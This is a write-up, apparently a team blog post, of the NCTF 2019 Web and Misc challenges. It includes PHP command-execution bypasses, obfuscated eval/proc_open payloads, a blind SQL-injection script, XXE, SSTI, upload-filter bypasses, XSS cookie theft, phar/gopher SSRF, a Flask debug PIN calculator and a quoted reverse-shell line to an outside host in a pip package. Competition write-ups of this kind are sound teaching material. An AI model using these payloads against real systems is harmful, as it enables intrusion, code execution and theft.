0%

NCTF 2019 Web Misc部分WriteUp

写在前面

​ 牺牲了周末学习写作业逮OW的时间来跟着Nepnep打比赛,收获蛮多,由于是第一次联合战队打线上,也是和大师傅们一起做的题(大师傅们tql),最后太可惜,以跟第二差不到100分(前两名ChaMD5和北邮小天枢tql)的成绩完成了这次比赛。

image.png

Web部分

​ 被大师傅们AK了,参考师傅们的wp来复现下。

easy php

(glotozz师傅)

先上源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php
error_reporting(0);
highlight_file(__file__);
$string_1 = $_GET['str1'];
$string_2 = $_GET['str2'];
$cmd = $_GET['q_w_q'];


//1st
if($_GET['num'] !== '23333' && preg_match('/^23333$/', $_GET['num'])){
echo '1st ok'."<br>";
}
else{
die('23333333');
}


//2nd
if(is_numeric($string_1)){
$md5_1 = md5($string_1);
$md5_2 = md5($string_2);
if($md5_1 != $md5_2){
$a = strtr($md5_1, 'cxhp', '0123');
$b = strtr($md5_2, 'cxhp', '0123');
if($a == $b){
echo '2nd ok'."<br>";
}
else{
die("can u give me the right str???");
}
}
else{
die("no!!!!!!!!");
}
}
else{
die('is str1 numeric??????');
}


//3rd
$query = $_SERVER['QUERY_STRING'];
if (strlen($cmd) > 8){
die("too long :(");
}

if( substr_count($query, '_') === 0 && substr_count($query, '%5f') === 0 ){
$arr = explode(' ', $cmd);
if($arr[0] !== 'ls' || $arr[0] !== 'pwd'){
if(substr_count($cmd, 'cat') === 0){
system($cmd);
}
else{
die('ban cat :) ');
}
}
else{
die('bad guy!');
}
}
else{
die('nonono _ is bad');
}
?>

绕过方法如下

1
2
3
4
5
6
7
8
9
num=23333%0a  //%0a截断

$string_1 = '2120624';

$string_2 = 's214587387a' //弱类型 0e开头字符串

q.w.q=ls //列目录(师傅这里用的l${x}s,记录一下)

q.w.q=tac%20f* //下划线用.绕过 cat被ban掉那就用tac 直接tac会过长,这里tac f*
image.png

Payload

1
http://nctf2019.x1ct34m.com:60005/?num=23333%0A&str1=2120624&str2=s214587387a&q.w.q=tac%20f*
image.png

hacker_backdoor

(蓝小俊、夏天师傅)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
if(!isset($_GET['code']) || !isset($_GET['useful'])){
highlight_file(__file__);
}
$code = $_GET['code'];
$usrful = $_GET['useful'];

function waf($a){
$dangerous = get_defined_functions();
array_push($dangerous["internal"], 'eval', 'assert');
foreach ($dangerous["internal"] as $bad) {
if(strpos($a,$bad) !== FALSE){
return False;
break;
}
}
return True;
}

if(file_exists($usrful)){
if(waf($code)){
eval($code);
}
else{
die("oh,不能输入这些函数哦 :) ");
}
}

先看phpinfo

1
http://nctf2019.x1ct34m.com:60004/?code=?%3E%3C?php%20$a=%27php%27.%27info%27;$a();?%3E&useful=index.php

定义变量来绕过

disable_functions 如下

1
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,system,shell_exec,popen,passthru,link,symlink,syslog,imap_open,ld,error_log,mail,assert,file_put_contents,scandir,file_get_contents,readfile,fread,fopen,chdir,unlink,delete

命令执行函数中 proc_open 未被绕过

Payload

1
http://nctf2019.x1ct34m.com:60004/?code=?%3E%3C?php%20$b=%22p%22;$c=%22ipe%22;$test=%22/readflag%22;$g=%27c%27.%27h%27.%27r%27;$h=$g(95);$a=[[$b.$c,%22r%22],%20[$b.$c,%22w%22],%20[$b.$c,%22w%22]%20];$aa=%27p%27.%27r%27.%27o%27.%27c%27.$h.%27o%27.%27p%27.%27e%27.%27n%27;$fp=$aa($test,$a,$p);%20$d=%27stre%27.%27am%27.$h.%27ge%27.%27t%27.$h.%27c%27.%27o%27.%27n%27.%27t%27.%27e%27.%27n%27.%27t%27.%27s%27;echo%20$d($p[1]);?%3E&useful=index.php

附蓝小俊师傅的Payload

phpinfo:

1
http://nctf2019.x1ct34m.com:60004/?code=?%3E%3C?php%20Echo%20Eval(cHr(0x70).cHr(0x68).cHr(0x70).cHr(0x69).cHr(0x6e).cHr(0x66).cHr(0x6f).cHr(0x28).cHr(0x29).cHr(0x3b))?%3E&useful=index.php

readflag

1
http://nctf2019.x1ct34m.com:60004/?code=?%3E%3C?php%20Echo%20evAl(cHr(0x24).cHr(0x61).cHr(0x3d).cHr(0x5b).cHr(0x5b).cHr(0x22).cHr(0x70).cHr(0x69).cHr(0x70).cHr(0x65).cHr(0x22).cHr(0x2c).cHr(0x22).cHr(0x72).cHr(0x22).cHr(0x5d).cHr(0x2c).cHr(0x20).cHr(0x5b).cHr(0x22).cHr(0x70).cHr(0x69).cHr(0x70).cHr(0x65).cHr(0x22).cHr(0x2c).cHr(0x22).cHr(0x77).cHr(0x22).cHr(0x5d).cHr(0x2c).cHr(0x20).cHr(0x5b).cHr(0x22).cHr(0x70).cHr(0x69).cHr(0x70).cHr(0x65).cHr(0x22).cHr(0x2c).cHr(0x22).cHr(0x77).cHr(0x22).cHr(0x5d).cHr(0x5d).cHr(0x3b).cHr(0x24).cHr(0x66).cHr(0x70).cHr(0x3d).cHr(0x70).cHr(0x72).cHr(0x6f).cHr(0x63).cHr(0x5f).cHr(0x6f).cHr(0x70).cHr(0x65).cHr(0x6e).cHr(0x28).cHr(0x22).cHr(0x2f).cHr(0x72).cHr(0x65).cHr(0x61).cHr(0x64).cHr(0x66).cHr(0x6c).cHr(0x61).cHr(0x67).cHr(0x22).cHr(0x2c).cHr(0x24).cHr(0x61).cHr(0x2c).cHr(0x24).cHr(0x70).cHr(0x29).cHr(0x3b).cHr(0x65).cHr(0x63).cHr(0x68).cHr(0x6f).cHr(0x20).cHr(0x73).cHr(0x74).cHr(0x72).cHr(0x65).cHr(0x61).cHr(0x6d).cHr(0x5f).cHr(0x67).cHr(0x65).cHr(0x74).cHr(0x5f).cHr(0x63).cHr(0x6f).cHr(0x6e).cHr(0x74).cHr(0x65).cHr(0x6e).cHr(0x74).cHr(0x73).cHr(0x28).cHr(0x24).cHr(0x70).cHr(0x5b).cHr(0x31).cHr(0x5d).cHr(0x29).cHr(0x3b));?%3E&useful=index.php

Payload生成脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#-*- encoding: utf-8 -*-

str1 = ""
with open("shell.php", "r") as f:
code = f.read()
# print(code)
for i in code:
if ord(i)== 10:
continue
str1 += ("cHr("+str(hex(ord(i)))+").")
print(str1)

shell.php内容:
$a=[["pipe","r"], ["pipe","w"], ["pipe","w"]];$fp=proc_open("/readflag",$a,$p);echo stream_get_contents($p[1]);
image.png

SQLI

(glotozz、黑白师傅)

1
2
3
4
5
6
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";


If $_POST['passwd'] === admin's password,

Then you will get the flag;

过滤的关键字如上

单引号可以使用\来转义,or可以采用||,=可以采用regexp,

select被过滤…

最后的单引号闭合:

;%00可以闭合,

图片

1
username=\&passwd=/**/||passwd/**/regexp/**/0x79;%00

图片

写个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#!/usr/bin/env python2

# coding=utf-8

import requests

s = requests.session()

url = "http://nctf2019.x1ct34m.com:40005/index.php"

headers = {

'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0',

'Content-Type': 'application/x-www-form-urlencoded'

}

cookies = {

}

flag = ""

tmp = 0

easy_strings = [ord(i) for i in '#abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_']

# print(easy_strings)

def change(b):

res1 = ""

for i in b:

res1 += hex(ord(i))

res1 = res1.replace("0x", "")

res1 = "0x" + res1

print(res1)

return res1

for k in 'eiklnoruvwyEIKLNORUVWY0789_':

flag = k

for i in range(1, 100):

if tmp == 1:

break

tmp = 1

for j in easy_strings:

# payload = change(chr(j)) # 找出第一个字符的所有可能性

payload = change(flag + chr(j))

# param = "/**/||username/**/regexp/**/{};{}".format(payload, chr(0))

param = "/**/||passwd/**/regexp/**/{};{}".format(payload, chr(0))

# print(param)

data = {

'username': '\\',

'passwd': param

}

r = requests.post(url=url, headers=headers, data=data)

# print(r.status_code)

# print r.content.decode('utf-8')

if "go back to get the password" in r.content.decode("utf-8"):

print j

flag = flag + chr(j)

tmp = 0

break

print(flag)

print(flag)

tmp = 0

图片

其实第一位可以不遍历,用^匹配就行。。。

NCTF{SQLi_is_not_Just_sq1}

Fake xml cookbook

这道题就是最基础的XXE

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user><username>&xxe;</username><password>0</password></user>
image.png

True XML cookbook

这道题目讲道理真的没想到是要内网探测,最后还是glotozz大师傅做出来的tql

读取/etc/hosts发现有个内网ip,读取/proc/net/arp发现很多内网ip,一个一个探测即可

最后在192.168.1.8找到flag

image.png

flask

(ding0x0师傅)

flask SSTI

过滤的flag字符串,用jinja语法反转字符串绕过

Payload

1
http://nctf2019.x1ct34m.com:40007/%7B%7B[].__class__.__base__.__subclasses__()[40](('galf/'%7Creverse)).read()%7D%7D

NCTF{Y0u_can_n0t_Read_flag_directly}

Upload your Shell

(晚风师傅)

会检测扩展名、content-type、文件内容是否包含<?、已经文件头是否为文件,绕过措施:

1
2
3
4
5
1.上传图片马用于包含(gif89a)

2.修改content-type为image/jpeg

3.检测<?用<script language="php"></script>绕过

Payload:

1
http://nctf2019.x1ct34m.com:60002/index.php?action=upload-imgs/b854aa72bbb13abd82dde9fe7b728d0b/Th1s_is_a_fl4g.jpg
image.png

simple_xss

没什么过滤的XSS,直接闭合上一个标签再插script标签进去,发给admin,最后平台收cookie

image.png

修改cookie刷新即可

image.png

replace

(glotozz师傅)

单引号被过滤,使用chr()绕过直接读flag即可

1
readfile(chr(47).chr(102).chr(108).chr(97).chr(103))

phar matches everything

(参考glotozz师傅的思路)

这道题目很有意思

首先swp恢复出源码,之后phar反序列化,内网扫描得到hint
,最后gopher:// SSRF

1
hint:very close,先看下/etc/hosts和/proc/net/arp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php

    class Main {

    public $url = "http://10.0.0.3";

    public function curl($url){

        $ch = curl_init();  

        curl_setopt($ch,CURLOPT_URL,$url);

        curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);

        $output=curl_exec($ch);

        curl_close($ch);

        return $output;

    }

public function __destruct(){

        $this_is_a_easy_test=unserialize($_GET['careful']);

        if($this_is_a_easy_test->funny_get() === '1'){

            echo $this->curl($this->url);

        }

    }    

}

    @unlink("phar.phar");

    $phar = new Phar("phar.phar"); //后缀名必须为phar

    $phar->startBuffering();

    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub

    $o = new Main();

    $phar->setMetadata($o); //将自定义的meta-data存入manifest

    $phar->addFromString("test.txt", "test"); //添加要压缩的文件

    //签名自动计算

    $phar->stopBuffering();

?>

图片

参考https://evoa.me/index.php/archives/52/#toc-SSRFGopher

利用gopherus生成打一下,发现system()被禁用

图片

图片

利用

1
mkdir('/tmp/fuck');chdir('/tmp/fuck');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));readfile('/flag');

绕过open_basedir()即可

图片

图片

flask_website

任意文件读取+flask_debug_pin

有个坑点就是,(glotozz师傅tql)机器码要换成docker id 在这里卡了好久…

计算pin码所需靶机参数:

1
2
3
4
5
6
username #用户名,可以查看/etc/passwd
modename #flask.app
getattr(app,'__name__',getattr(app.__class__,'__name__')) # Flask
getattr(mod,'__file__',None) #app.py的绝对路径
uuid.getnode() #mac地址十进制
get_machine_id() #/etc/machine-id;docker则是/proc/self/cgroup

计算Pin脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import hashlib
from itertools import chain
probably_public_bits = [
'ctf',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.6/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'2485378220034',# str(uuid.getnode()), /sys/class/net/ens33/address
'b645f42695870579afdd7834cd94c84553d974b744bff4fb16ccdead3cf09e84'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

debug下os.popen(‘’).read()

image.png

Misc部分

​ 由于123血有额外加分的,上来先秒简单题,并不是由于太菜了做不出难题

Misc也AK了 安逸

pip install

上来就是题目描述,要run下面这个

1
pip install --user nctf-2019-installme

直接去

1
https://pypi.org/project/nctf-2019-installme/

下载

image.png

看源码,base64解开

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from setuptools import setup, find_packages
import tempfile
from os import path, system

tmp_file = tempfile.gettempdir() + path.sep + '.f14g_is_here'
f = open(tmp_file, 'w')
f.write('TkNURntjNHJlZnVsX2FiMHU3X2V2MWxfcGlwX3A0Y2thZ2V9')
f.close()

# system('bash -i >& /dev/tcp/1.1.1.1/7777 0>&1')
# Ohhhh, that a joke. I won't do that.

setup(
name='nctf_2019_installme',
version=0.2,
description=(
'Get flagggggggggg!'
),
author='rmb122',
author_email='abuse@anti-spam.cn',
license='GPLv3.0',
packages=find_packages(),
platforms=["all"],
keywords=['nctf', 'getflag'],
url='http://www.google.com'
)

(是rmb122dalao!)

NCTF{c4reful_ab0u7_ev1l_pip_p4ckage}

Bright Body I

下载下来是个虚幻做的游戏,难的一比,菜狗我进去就被秒杀

找猛男室友打通getflag了只好

直接看pak

1
Bright Body I\Magic\Content\Paks\Magic-WindowsNoEditor.pak

010editor搜索NCTF

image.png

啊哈(被黑魂支配的恐惧吗)

有内鬼,终止交易

其实放提示之前就想到了,是shad0和谐ws0cks流量解密题

因为在流量包里面发现了小飞机的配置文件,密码和加密方式都有了,解密即可

直接导出了80+的流逐个解密分析(wsl 菜狗我真的无办法了)

分析流量,找到config.json-为shad0w和谐s0cks配置文件

读取获得ip、password、端口、加密方式aes-256-cfb

image.png

返回去 继续看流量,导出目的ip如上的tcp流的数据

逐个分析(80多个 分析了一下午md)

由于客户端和服务端发送包都经过了加密,不能整个导出进行解密,需分开解密分析

发现发送的含有flag.txt的tcp流经解密后如下

image.png

以下是请求flag.txt后返回的TCP流,单独导出原始数据使用shadowsocks源码中的解密脚本进行解密

image.png

解密结果如下:

image.png

这个flag 小心给逮住kao起来!

附:解密脚本(先下载shadowsocks源码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
#!/usr/bin/env python  
#
# Copyright 2012-2015 clowwindy
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.

from __future__ import absolute_import, division, print_function, \
with_statement

import os
import sys
import hashlib
import logging
import binascii
from shado和谐wsocks import common
from shado和谐wsocks.crypto import rc4_md5, openssl, sodium, table


method_supported = {}
method_supported.update(rc4_md5.ciphers)
method_supported.update(openssl.ciphers)
method_supported.update(sodium.ciphers)
method_supported.update(table.ciphers)


def random_string(length):
return os.urandom(length)


cached_keys = {}


def try_cipher(key, method=None):
Encryptor(key, method)


def EVP_BytesToKey(password, key_len, iv_len):
# equivalent to OpenSSL's EVP_BytesToKey() with count 1
# so that we make the same key and iv as nodejs version
cached_key = '%s-%d-%d' % (password, key_len, iv_len)
r = cached_keys.get(cached_key, None)
if r:
return r
m = []
i = 0
while len(b''.join(m)) < (key_len + iv_len):
md5 = hashlib.md5()
data = password
if i > 0:
data = m[i - 1] + password
md5.update(data)
m.append(md5.digest())
i += 1
ms = b''.join(m)
key = ms[:key_len]
iv = ms[key_len:key_len + iv_len]
cached_keys[cached_key] = (key, iv)
return key, iv


class Encryptor(object):
def __init__(self, key, method):
self.key = key
self.method = method
self.iv = None
self.iv_sent = False
self.cipher_iv = b''
self.decipher = None
method = method.lower()
self._method_info = self.get_method_info(method)
if self._method_info:
self.cipher = self.get_cipher(key, method, 1,
random_string(self._method_info[1]))
else:
logging.error('method %s not supported' % method)
sys.exit(1)

def get_method_info(self, method):
method = method.lower()
m = method_supported.get(method)
return m

def iv_len(self):
return len(self.cipher_iv)

def get_cipher(self, password, method, op, iv):
password = common.to_bytes(password)
m = self._method_info
if m[0] > 0:
key, iv_ = EVP_BytesToKey(password, m[0], m[1])
else:
# key_length == 0 indicates we should use the key directly
key, iv = password, b''

iv = iv[:m[1]]
if op == 1:
# this iv is for cipher not decipher
self.cipher_iv = iv[:m[1]]
return m[2](method, key, iv, op)

def encrypt(self, buf):
if len(buf) == 0:
return buf
if self.iv_sent:
return self.cipher.update(buf)
else:
self.iv_sent = True
return self.cipher_iv + self.cipher.update(buf)

def decrypt(self, buf):
if len(buf) == 0:
return buf
if self.decipher is None:
decipher_iv_len = self._method_info[1]
decipher_iv = buf[:decipher_iv_len]
self.decipher = self.get_cipher(self.key, self.method, 0,
iv=decipher_iv)
buf = buf[decipher_iv_len:]
if len(buf) == 0:
return buf
return self.decipher.update(buf)


def encrypt_all(password, method, op, data):
result = []
method = method.lower()
(key_len, iv_len, m) = method_supported[method]
if key_len > 0:
key, _ = EVP_BytesToKey(password, key_len, iv_len)
else:
key = password
if op:
iv = random_string(iv_len)
result.append(iv)
else:
iv = data[:iv_len]
data = data[iv_len:]
cipher = m(method, key, iv, op)
result.append(cipher.update(data))
return b''.join(result)


CIPHERS_TO_TEST = [
'aes-128-cfb',
'aes-256-cfb',
'rc4-md5',
'salsa20',
'chacha20',
'table',
]


def test_encryptor():
from os import urandom
plain = urandom(10240)
for method in CIPHERS_TO_TEST:
logging.warn(method)
encryptor = Encryptor(b'key', method)
decryptor = Encryptor(b'key', method)
cipher = encryptor.encrypt(plain)
plain2 = decryptor.decrypt(cipher)
assert plain == plain2


def test_encrypt_all():
from os import urandom
plain = urandom(10240)
for method in CIPHERS_TO_TEST:
logging.warn(method)
cipher = encrypt_all(b'key', method, 1, plain)
plain2 = encrypt_all(b'key', method, 0, cipher)
assert plain == plain2


if __name__ == '__main__':
f=open('data.bin', 'rb')

e = Encryptor('5e77b05530b30283e24c120d8cc13fb5', 'aes-256-cfb')
p = open('decrypt1.bin', 'wb')
p.write(e.decrypt(f.read()))

a_good_idea

(星辰、yimingy72师傅)
binwalk -e 分离to_do.png do.png
Beyond Compare 导入两张图片容差比较
扫码得flag

小狗的秘密

(fjh1997师傅)

提取流量得到一个神秘文件1.html

一看就是rgb编码,由于有50000行所以盲猜图像大小是500X100去掉括号然后使用脚本解决得到一张图像就是flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#-*- coding:utf-8 -*-
from PIL import Image
import re
x = 500 #x坐标 通过对html里的行数进行整数分解
y = 100 #y坐标 x*y = 行数
im = Image.new("RGB",(x,y))#创建图片
file = open('1.html') #打开rbg值文件
#通过一个个rgb点生成图片
for i in range(0,x):
for j in range(0,y):
line = file.readline()#获取一行
rgb = re.split(",|\(|\)",line)#分离rgb
rgb = filter(None, rgb)#过滤空格
im.putpixel((i,j),(int(rgb[0]),int(rgb[1]),int(rgb[2])))#rgb转化为像素
im.show()
image.png

Become a Rockstar

看了小天枢的wp才知道这个是Rockstar编程语言…

1
2
3
4
https://github.com/RockstarLang/rockstar
https://github.com/yyyyyyyyyyan/rockstar-py

rockstar-py Become_a_Rockstar.rock

跑一下就出来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
Leonard_Adleman = "star"
Problem_Makers = 76
Problem_Makers = "NCTF{"
def God(World):
a_boy = "flag"
the_boy = 3
def Evil(your_mind):
a_girl = "no flag"
the_girl = 5
Truths = 3694
Bob = "ar"
Adi_Shamir = "rock"
def Love(Alice, Bob):
Mallory = 13
Mallory = 24
Everything = 114514
Alice = "you"
def Reality(God, Evil):
God = 26
Evil = 235
Ron_Rivest = "nice"
def You_Want_To(Alice, Love, Anything):
You = 5.75428
your_heart = input()
You = 5
your_mind = input()
Nothing = 31
if Truths * Nothing == Everything:
RSA = Ron_Rivest + Adi_Shamir + Leonard_Adleman
if Everything / Nothing == Truths:
Problem_Makers = Problem_Makers + Alice + Bob
print(Problem_Makers)
the_flag = 245
the_confusion = 244
print(RSA)
Mysterious_One = "}"
print(Mysterious_One)
This = 4
This = 35
This = 7
This = 3
This = 3
This = 37

2077

还有140天就可以把那座城市烧成灰了hhhhh

视频里面是base64编码

只要平均2分钟一帧按这个进度截取视频画面进行ocr,得到base64文件,之后解析出一张图片,对图片进行sha256即可

image.png

NCTF{90b0443265e51869ff6c645b3104dd9df085db89266bf2290c9d24c76d458590}

我真的好想玩赛博朋克啊啊啊啊

键盘侠

binwalk分离,word隐写,复制出来用python import base64

之后base64.b85decode(‘’)那串字符串就行了….

sb在线解码网站,解不出这题的base85,害我们成第三

之后专门写个base家族的文章好了,我恨

What‘s this

wireshark对流量进行提取,然后分析发现里面含有zip解压,得到What1s7his.txt

base64隐写,直接解开就好了

1
2
3
4
5
6
7
8
9
10
11
12
# -*- coding: utf-8 -*-
b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
with open('What1s7his.txt', 'rb') as f:
bin_str = ''
for line in f.readlines():
stegb64 = ''.join(line.split())
rowb64 = ''.join(stegb64.decode('base64').encode('base64').split())
offset = abs(b64chars.index(stegb64.replace('=','')[-1])-b64chars.index(rowb64.replace('=','')[-1]))
equalnum = stegb64.count('=') #no equalnum no offset
if equalnum:
bin_str += bin(offset)[2:].zfill(equalnum * 2)
print ''.join([chr(int(bin_str[i:i + 8], 2)) for i in xrange(0, len(bin_str), 8)]) #8 位一组

RE、Crypto、Pwn

包含AK的Pwn,还有部分RE、Crypto的完整的WP如下

NJUPT CTF 2019 WP by NepNep

密码:81du

最后欢迎大家加入NepNep知识星球

nepnep